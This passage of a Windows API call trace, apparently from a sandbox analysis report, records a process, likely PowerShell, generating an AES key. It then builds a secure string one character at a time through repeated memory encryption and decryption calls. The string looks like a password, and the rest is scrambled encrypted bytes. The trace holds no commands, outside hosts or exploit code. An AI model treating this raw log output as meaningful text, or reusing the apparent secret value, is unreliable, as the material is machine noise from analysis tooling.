lpBuffer="") returned 0x0 [0256.810] EtwEventActivityIdControl () returned 0x0 [0256.810] EtwEventActivityIdControl () returned 0x0 [0256.811] EtwEventActivityIdControl () returned 0x0 [0256.814] CryptAcquireContextW (in: phProv=0x5a2e450, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e450*=0x5c4d320) returned 1 [0256.815] CryptGenKey (in: hProv=0x5c4d320, Algid=0x6610, dwFlags=0x1, phKey=0x5a2e884 | out: phKey=0x5a2e884*=0x5c99560) returned 1 [0256.815] CryptContextAddRef (hProv=0x5c4d320, pdwReserved=0x0, dwFlags=0x0) returned 1 [0256.815] CryptExportKey (in: hKey=0x5c99560, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x5a2e8c4 | out: pbData=0x0*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0256.816] CryptExportKey (in: hKey=0x5c99560, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x23bdae8, pdwDataLen=0x5a2e8c4 | out: pbData=0x23bdae8*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0256.816] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e4ac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0256.816] EtwEventActivityIdControl () returned 0x0 [0256.816] EtwEventActivityIdControl () returned 0x0 [0256.816] EtwEventActivityIdControl () returned 0x0 [0256.817] SysStringLen (param_1="") returned 0x8 [0256.817] SysStringLen (param_1="X") returned 0x8 [0256.817] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0256.817] SysStringLen (param_1="Ⓞ弎ེҰ쫰喛￰擡") returned 0x8 [0256.817] SysStringLen (param_1="Ⓞ弎ེҰ쫰喛￰擡") returned 0x8 [0256.817] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0256.818] SysStringLen (param_1="Xo") returned 0x8 [0256.818] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0256.818] SysStringLen (param_1="훟槤␊\拞鋢뱡沏⋑) returned 0x8 [0256.818] SysStringLen (param_1="훟槤␊\拞鋢뱡沏⋑) returned 0x8 [0256.818] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0256.818] SysStringLen (param_1="Xo2") returned 0x8 [0256.818] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0256.818] SysStringLen (param_1="襠됀䣁裵깊ŭ濚") returned 0x8 [0256.818] SysStringLen (param_1="襠됀䣁裵깊ŭ濚") returned 0x8 [0256.818] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0256.818] SysStringLen (param_1="Xo2V") returned 0x8 [0256.818] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0256.818] SysStringLen (param_1="䤓쑰ͪᇖㄔ倈") returned 0x8 [0256.818] SysStringLen (param_1="䤓쑰ͪᇖㄔ倈") returned 0x8 [0256.818] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0256.819] SysStringLen (param_1="Xo2Vn") returned 0x8 [0256.819] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0256.819] SysStringLen (param_1="૆쟿櫰蒬涳") returned 0x8 [0256.819] SysStringLen (param_1="૆쟿櫰蒬涳") returned 0x8 [0256.819] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0256.819] SysStringLen (param_1="Xo2Vn2") returned 0x8 [0256.819] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0256.819] SysStringLen (param_1="괛츋價̼響停撻") returned 0x8 [0256.819] SysStringLen (param_1="괛츋價̼響停撻") returned 0x8 [0256.819] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0256.819] SysStringLen (param_1="Xo2Vn2Y") returned 0x8 [0256.819] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0256.820] SysStringLen (param_1="ꖹ읖솚꾊\跜偀㞺⊵) returned 0x8 [0256.820] SysStringLen (param_1="ꖹ읖솚꾊\跜偀㞺⊵) returned 0x8 [0256.820] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0256.820] SysStringLen (param_1="Xo2Vn2Y4") returned 0x8 [0256.820] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0256.820] SysStringLen (param_1="⧫毖瞋퓈ᑟ㶧사鉌") returned 0x8 [0256.820] SysStringLen (param_1="⧫毖瞋퓈ᑟ㶧사鉌") returned 0x8 [0256.820] SysStringLen (param_1="⧫毖瞋퓈ᑟ㶧사鉌") returned 0x8 [0256.821] SysStringLen (param_1="⧫毖瞋퓈ᑟ㶧사鉌") returned 0x10 [0256.821] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0256.821] SysStringLen (param_1="Xo2Vn2Y4u千â渆龰诘돟彷") returned 0x10 [0256.821] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0256.821] SysStringLen (param_1="⧫毖瞋퓈ᑟ㶧사鉌砳钧വ饜㞃抷㘃帀") returned 0x10 [0256.821] SysStringLen (param_1="⧫毖瞋퓈ᑟ㶧사鉌砳钧വ饜㞃抷㘃帀") returned 0x10 [0256.821] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0256.821] SysStringLen (param_1="Xo2Vn2Y4uIâ渆龰诘돟彷") returned 0x10 [0256.821] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0256.821] SysStringLen (param_1="⧫毖瞋퓈ᑟ㶧사鉌輬⺼東舺羠첩及") returned 0x10 [0256.822] SysStringLen (param_1="⧫毖瞋퓈ᑟ㶧사鉌輬⺼東舺羠첩及") returned 0x10 [0256.822] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0256.822] SysStringLen (param_1="Xo2Vn2Y4uIP渆龰诘돟彷") returned 0x10 [0256.822] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0256.822] SysStringLen (param_1="⧫毖瞋퓈ᑟ㶧사鉌ᒭ૙ᴌ໾蠖⏶ꢃ") returned 0x10 [0256.822] SysStringLen (param_1="⧫毖瞋퓈ᑟ㶧사鉌ᒭ૙ᴌ໾蠖⏶ꢃ") returned 0x10 [0256.822] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0256.822] SysStringLen (param_1="Xo2Vn2Y4uIPd龰诘돟彷") returned 0x10 [0256.822] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0256.822] SysStringLen (param_1="⧫毖瞋퓈ᑟ㶧사鉌ꫛ棖焞閽宫顬௦쌀") returned 0x10 [0256.822] SysStringLen (param_1="⧫毖瞋퓈ᑟ㶧사鉌ꫛ棖焞閽宫顬௦쌀") returned 0x10 [0256.822] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0256.822] SysStringLen (param_1="Xo2Vn2Y4uIPdq诘돟彷") returned 0x10 [0256.822] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0256.823] SysStringLen (param_1="⧫毖瞋퓈ᑟ㶧사鉌複祋츢仕Ӷ瞇洺") returned 0x10 [0256.823] SysStringLen (param_1="⧫毖瞋퓈ᑟ㶧사鉌複祋츢仕Ӷ瞇洺") returned 0x10 [0256.823] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0256.823] SysStringLen (param_1="Xo2Vn2Y4uIPdqa돟彷") returned 0x10 [0256.823] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0256.823] SysStringLen (param_1="⧫毖瞋퓈ᑟ㶧사鉌ᯥᤄ려际ꋺꐖ砲฽") returned 0x10 [0256.823] SysStringLen (param_1="⧫毖瞋퓈ᑟ㶧사鉌ᯥᤄ려际ꋺꐖ砲฽") returned 0x10 [0256.823] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0256.823] SysStringLen (param_1="Xo2Vn2Y4uIPdqaG彷") returned 0x10 [0256.823] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0256.823] SysStringLen (param_1="⧫毖瞋퓈ᑟ㶧사鉌⮄匫㸊Ᏹ蒝唭ꚨ") returned 0x10 [0256.823] SysStringLen (param_1="⧫毖瞋퓈ᑟ㶧사鉌⮄匫㸊Ᏹ蒝唭ꚨ") returned 0x10 [0256.823] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0256.824] SysStringLen (param_1="Xo2Vn2Y4uIPdqaGc") returned 0x10 [0256.824] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0256.824] SysStringLen (param_1="⧫毖瞋퓈ᑟ㶧사鉌볧䊆侱銥镧迨") returned 0x10 [0256.824] SysStringLen (param_1="⧫毖瞋퓈ᑟ㶧사鉌볧䊆侱銥镧迨") returned 0x10 [0256.824] SysStringLen (param_1="⧫毖瞋퓈ᑟ㶧사鉌볧䊆侱銥镧迨") returned 0x10 [0256.824] SysStringLen (param_1="⧫毖瞋퓈ᑟ㶧사鉌볧䊆侱銥镧迨") returned 0x18 [0256.824] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0256.825] SysStringLen (param_1="Xo2Vn2Y4uIPdqaGcp稓㣘⡫朁⌘臼䋓") returned 0x18 [0256.825] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0256.825] SysStringLen (param_1="⧫毖瞋퓈ᑟ㶧사鉌볧䊆侱銥镧迨⼩䩦趍疠좻㑦汙") returned 0x18 [0256.825] SysStringLen (param_1="⧫毖瞋퓈ᑟ㶧사鉌볧䊆侱銥镧迨⼩䩦趍疠좻㑦汙") returned 0x18 [0256.825] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0256.825] SysStringLen (param_1="Xo2Vn2Y4uIPdqaGcpU㣘⡫朁⌘臼䋓") returned 0x18 [0256.825] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0256.825] SysStringLen (param_1="⧫毖瞋퓈ᑟ㶧사鉌볧䊆侱銥镧迨뜠鰿䧫用䳟傛\俙≘) returned 0x18 [0256.825] SysStringLen (param_1="⧫毖瞋퓈ᑟ㶧사鉌볧䊆侱銥镧迨뜠鰿䧫用䳟傛\俙≘) returned 0x18 [0256.825] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0256.825] SysStringLen (param_1="Xo2Vn2Y4uIPdqaGcpUE⡫朁⌘臼䋓") returned 0x18 [0256.825] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0256.825] SysStringLen (param_1="⧫毖瞋퓈ᑟ㶧사鉌볧䊆侱銥镧迨쑮緞굼✺갞폳섍") returned 0x18 [0256.826] SysStringLen (param_1="⧫毖瞋퓈ᑟ㶧사鉌볧䊆侱銥镧迨쑮緞굼✺갞폳섍") returned 0x18 [0256.826] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0256.826] SysStringLen (param_1="Xo2Vn2Y4uIPdqaGcpUEf朁⌘臼䋓") returned 0x18 [0256.826] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0256.826] SysStringLen (param_1="⧫毖瞋퓈ᑟ㶧사鉌볧䊆侱銥镧迨铉ȥ˔﷌밙醍槲") returned 0x18 [0256.826] SysStringLen (param_1="⧫毖瞋퓈ᑟ㶧사鉌볧䊆侱銥镧迨铉ȥ˔﷌밙醍槲") returned 0x18 [0256.826] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0256.826] SysStringLen (param_1="Xo2Vn2Y4uIPdqaGcpUEfz⌘臼䋓") returned 0x18 [0256.826] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0256.826] SysStringLen (param_1="⧫毖瞋퓈ᑟ㶧사鉌볧䊆侱銥镧迨欎㡺੫ᛊ돳牖鏌") returned 0x18 [0256.826] SysStringLen (param_1="⧫毖瞋퓈ᑟ㶧사鉌볧䊆侱銥镧迨欎㡺੫ᛊ돳牖鏌") returned 0x18 [0256.826] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0256.826] SysStringLen (param_1="Xo2Vn2Y4uIPdqaGcpUEfzz臼䋓") returned 0x18 [0256.826] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0256.827] SysStringLen (param_1="⧫毖瞋퓈ᑟ㶧사鉌볧䊆侱銥镧迨쑸엛䍖㈝໱줼") returned 0x18 [0256.827] SysStringLen (param_1="⧫毖瞋퓈ᑟ㶧사鉌볧䊆侱銥镧迨쑸엛䍖㈝໱줼") returned 0x18 [0256.827] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0256.827] SysStringLen (param_1="Xo2Vn2Y4uIPdqaGcpUEfzz9䋓") returned 0x18 [0256.827] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0256.827] SysStringLen (param_1="⧫毖瞋퓈ᑟ㶧사鉌볧䊆侱銥镧迨톀푕湘ᑳ຀槼꞉롢") returned 0x18 [0256.827] SysStringLen (param_1="⧫毖瞋퓈ᑟ㶧사鉌볧䊆侱銥镧迨톀푕湘ᑳ຀槼꞉롢") returned 0x18 [0256.827] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0256.827] SysStringLen (param_1="Xo2Vn2Y4uIPdqaGcpUEfzz9x") returned 0x18 [0256.827] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0256.827] SysStringLen (param_1="⧫毖瞋퓈ᑟ㶧사鉌볧䊆侱銥镧迨ѕࣇꡧዓ迚㪬侕") returned 0x18 [0256.828] SysStringLen (param_1="⧫毖瞋퓈ᑟ㶧사鉌볧䊆侱銥镧迨ѕࣇꡧዓ迚㪬侕") returned 0x18 [0256.828] SysStringLen (param_1="⧫毖瞋퓈ᑟ㶧사鉌볧䊆侱銥镧迨ѕࣇꡧዓ迚㪬侕") returned 0x18 [0256.829] SysStringLen (param_1="⧫毖瞋퓈ᑟ㶧사鉌볧䊆侱銥镧迨ѕࣇꡧዓ迚㪬侕") returned 0x20 [0256.829] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.829] SysStringLen (param_1="Xo2Vn2Y4uIPdqaGcpUEfzz9xrげ\ᷟ㖨긄\䧟芮") returned 0x20 [0256.829] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.829] SysStringLen (param_1="⧫毖瞋퓈ᑟ㶧사鉌볧䊆侱銥镧迨ѕࣇꡧዓ迚㪬侕,빍뀄膱㓹Ԥ榛") returned 0x20 [0256.829] SysStringLen (param_1="⧫毖瞋퓈ᑟ㶧사鉌볧䊆侱銥镧迨ѕࣇꡧዓ迚㪬侕,빍뀄膱㓹Ԥ榛") returned 0x20 [0256.829] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.829] SysStringLen (param_1="Xo2Vn2Y4uIPdqaGcpUEfzz9xrJ\ᷟ㖨긄\䧟芮") returned 0x20 [0256.830] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.830] SysStringLen (param_1="⧫毖瞋퓈ᑟ㶧사鉌볧䊆侱銥镧迨ѕࣇꡧዓ迚㪬侕쐳᧞ዪ邔迈㙞૿") returned 0x20 [0256.830] SysStringLen (param_1="⧫毖瞋퓈ᑟ㶧사鉌볧䊆侱銥镧迨ѕࣇꡧዓ迚㪬侕쐳᧞ዪ邔迈㙞૿") returned 0x20 [0256.830] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.830] SysStringLen (param_1="Xo2Vn2Y4uIPdqaGcpUEfzz9xrJfꠝе冮䧟芮") returned 0x20 [0256.830] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.830] SysStringLen (param_1="⧫毖瞋퓈ᑟ㶧사鉌볧䊆侱銥镧迨ѕࣇꡧዓ迚㪬侕틴烞뛯㚝뎹䰁㜩") returned 0x20 [0256.830] SysStringLen (param_1="⧫毖瞋퓈ᑟ㶧사鉌볧䊆侱銥镧迨ѕࣇꡧዓ迚㪬侕틴烞뛯㚝뎹䰁㜩") returned 0x20 [0256.830] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.830] SysStringLen (param_1="Xo2Vn2Y4uIPdqaGcpUEfzz9xrJfoе冮䧟芮") returned 0x20 [0256.830] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.830] SysStringLen (param_1="⧫毖瞋퓈ᑟ㶧사鉌볧䊆侱銥镧迨ѕࣇꡧዓ迚㪬侕嘃ﳧ鞀㨃鎺詳됛") returned 0x20 [0256.830] SysStringLen (param_1="⧫毖瞋퓈ᑟ㶧사鉌볧䊆侱銥镧迨ѕࣇꡧዓ迚㪬侕嘃ﳧ鞀㨃鎺詳됛") returned 0x20 [0256.830] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.831] SysStringLen (param_1="Xo2Vn2Y4uIPdqaGcpUEfzz9xrJfoH冮䧟芮") returned 0x20 [0256.831] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.831] SysStringLen (param_1="⧫毖瞋퓈ᑟ㶧사鉌볧䊆侱銥镧迨ѕࣇꡧዓ迚㪬侕瓬❱ຬ॥⓽ꨥ껈䯯") returned 0x20 [0256.831] SysStringLen (param_1="⧫毖瞋퓈ᑟ㶧사鉌볧䊆侱銥镧迨ѕࣇꡧዓ迚㪬侕瓬❱ຬ॥⓽ꨥ껈䯯") returned 0x20 [0256.831] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.831] SysStringLen (param_1="Xo2Vn2Y4uIPdqaGcpUEfzz9xrJfoHj䧟芮") returned 0x20 [0256.831] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.831] SysStringLen (param_1="⧫毖瞋퓈ᑟ㶧사鉌볧䊆侱銥镧迨ѕࣇꡧዓ迚㪬侕⩐쉈鏩粩䫣ꇓ௑") returned 0x20 [0256.831] SysStringLen (param_1="⧫毖瞋퓈ᑟ㶧사鉌볧䊆侱銥镧迨ѕࣇꡧዓ迚㪬侕⩐쉈鏩粩䫣ꇓ௑") returned 0x20 [0256.831] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.831] SysStringLen (param_1="Xo2Vn2Y4uIPdqaGcpUEfzz9xrJfoHjq芮") returned 0x20 [0256.831] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.831] SysStringLen (param_1="⧫毖瞋퓈ᑟ㶧사鉌볧䊆侱銥镧迨ѕࣇꡧዓ迚㪬侕ຸ⦄㰎ᓓ㠣⻜ᄼ") returned 0x20 [0256.831] SysStringLen (param_1="⧫毖瞋퓈ᑟ㶧사鉌볧䊆侱銥镧迨ѕࣇꡧዓ迚㪬侕ຸ⦄㰎ᓓ㠣⻜ᄼ") returned 0x20 [0256.832] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.832] SysStringLen (param_1="Xo2Vn2Y4uIPdqaGcpUEfzz9xrJfoHjqE") returned 0x20 [0256.832] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.832] SysStringLen (param_1="⧫毖瞋퓈ᑟ㶧사鉌볧䊆侱銥镧迨ѕࣇꡧዓ迚㪬侕⎆峳琬ҧ尹緀ᨌ") returned 0x20 [0256.832] SysStringLen (param_1="⧫毖瞋퓈ᑟ㶧사鉌볧䊆侱銥镧迨ѕࣇꡧዓ迚㪬侕⎆峳琬ҧ尹緀ᨌ") returned 0x20 [0256.832] SysStringLen (param_1="⧫毖瞋퓈ᑟ㶧사鉌볧䊆侱銥镧迨ѕࣇꡧዓ迚㪬侕⎆峳琬ҧ尹緀ᨌ") returned 0x20 [0256.833] SysStringLen (param_1="⧫毖瞋퓈ᑟ㶧사鉌볧䊆侱銥镧迨ѕࣇꡧዓ迚㪬侕⎆峳琬ҧ尹緀ᨌ") returned 0x28 [0256.833] SystemFunction041 (in: Memory=0x3afb84, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afb84) returned 0x0 [0256.833] SysStringLen (param_1="Xo2Vn2Y4uIPdqaGcpUEfzz9xrJfoHjqEB펩⮚컢轈ຳ휷") returned 0x28 [0256.833] SystemFunction040 (in: Memory=0x3afb84, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afb84) returned 0x0 [0256.833] SysStringLen (param_1="⧫毖瞋퓈ᑟ㶧사鉌볧䊆侱銥镧迨ѕࣇꡧዓ迚㪬侕⎆峳琬ҧ尹緀ᨌꦔ኷푎ꗩ莆졨留킹") returned 0x28 [0256.833] SysStringLen (param_1="⧫毖瞋퓈ᑟ㶧사鉌볧䊆侱銥镧迨ѕࣇꡧዓ迚㪬侕⎆峳琬ҧ尹緀ᨌꦔ኷푎ꗩ莆졨留킹") returned 0x28 [0256.833] SystemFunction041 (in: Memory=0x3afb84, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afb84) returned 0x0 [0256.833] SysStringLen (param_1="Xo2Vn2Y4uIPdqaGcpUEfzz9xrJfoHjqEBW⮚컢轈ຳ휷") returned 0x28 [0256.833] SystemFunction040 (in: Memory=0x3afb84, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afb84) returned 0x0 [0256.833] SysStringLen (param_1="⧫毖瞋퓈ᑟ㶧사鉌볧䊆侱銥镧迨ѕࣇꡧዓ迚㪬侕⎆峳琬ҧ尹緀ᨌ粱缔䃡넜쓥먬Ӎ") returned 0x28 [0256.833] SysStringLen (param_1="⧫毖瞋퓈ᑟ㶧사鉌볧䊆侱銥镧迨ѕࣇꡧዓ迚㪬侕⎆峳琬ҧ尹緀ᨌ粱缔䃡넜쓥먬Ӎ") returned 0x28 [0256.833] SystemFunction041 (in: Memory=0x3afb84, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afb84) returned 0x0 [0256.834] SysStringLen (param_1="Xo2Vn2Y4uIPdqaGcpUEfzz9xrJfoHjqEBW4컢轈ຳ휷") returned 0x28 [0256.834] SystemFunction040 (in: Memory=0x3afb84, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afb84) returned 0x0 [0256.834] SysStringLen (param_1="⧫毖瞋퓈ᑟ㶧사鉌볧䊆侱銥镧迨ѕࣇꡧዓ迚㪬侕⎆峳琬ҧ尹緀ᨌꏃ驌誓☝ᓩ⥳잒鶴") returned 0x28 [0256.834] SysStringLen (param_1="⧫毖瞋퓈ᑟ㶧사鉌볧䊆侱銥镧迨ѕࣇꡧዓ迚㪬侕⎆峳琬ҧ尹緀ᨌꏃ驌誓☝ᓩ⥳잒鶴") returned 0x28 [0256.834] SystemFunction041 (in: Memory=0x3afb84, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afb84) returned 0x0 [0256.834] SysStringLen (param_1="Xo2Vn2Y4uIPdqaGcpUEfzz9xrJfoHjqEBW4R轈ຳ휷") returned 0x28 [0256.834] SystemFunction040 (in: Memory=0x3afb84, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afb84) returned 0x0 [0256.834] SysStringLen (param_1="⧫毖瞋퓈ᑟ㶧사鉌볧䊆侱銥镧迨ѕࣇꡧዓ迚㪬侕⎆峳琬ҧ尹緀ᨌꋝ安ﾧ箒툭骶賉") returned 0x28 [0256.834] SysStringLen (param_1="⧫毖瞋퓈ᑟ㶧사鉌볧䊆侱銥镧迨ѕࣇꡧዓ迚㪬侕⎆峳琬ҧ尹緀ᨌꋝ安ﾧ箒툭骶賉") returned 0x28 [0256.834] SystemFunction041 (in: Memory=0x3afb84, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afb84) returned 0x0 [0256.834] SysStringLen (param_1="Xo2Vn2Y4uIPdqaGcpUEfzz9xrJfoHjqEBW4RKຳ휷") returned 0x28 [0256.834] SystemFunction040 (in: Memory=0x3afb84, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afb84) returned 0x0 [0256.834] SysStringLen (param_1="⧫毖瞋퓈ᑟ㶧사鉌볧䊆侱銥镧迨ѕࣇꡧዓ迚㪬侕⎆峳琬ҧ尹緀ᨌ瘖\찓ꖸ뮳椴⋽) returned 0x28 [0256.834] SysStringLen (param_1="⧫毖瞋퓈ᑟ㶧사鉌볧䊆侱銥镧迨ѕࣇꡧዓ迚㪬侕⎆峳琬ҧ尹緀ᨌ瘖\찓ꖸ뮳椴⋽) returned 0x28 [0256.835] SystemFunction041 (in: Memory=0x3afb84, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afb84) returned 0x0 [0256.835] SysStringLen (param_1="Xo2Vn2Y4uIPdqaGcpUEfzz9xrJfoHjqEBW4RKOຳ휷") returned 0x28 [0256.835] SystemFunction040 (in: Memory=0x3afb84, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afb84) returned 0x0 [0256.835] SysStringLen (param_1="⧫毖瞋퓈ᑟ㶧사鉌볧䊆侱銥镧迨ѕࣇꡧዓ迚㪬侕⎆峳琬ҧ尹緀ᨌ뗁䶿ﵽ됌闁ᯮݬ") returned 0x28 [0256.835] SysStringLen (param_1="⧫毖瞋퓈ᑟ㶧사鉌볧䊆侱銥镧迨ѕࣇꡧዓ迚㪬侕⎆峳琬ҧ尹緀ᨌ뗁䶿ﵽ됌闁ᯮݬ") returned 0x28 [0256.835] SystemFunction041 (in: Memory=0x3afb84, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afb84) returned 0x0 [0256.835] SysStringLen 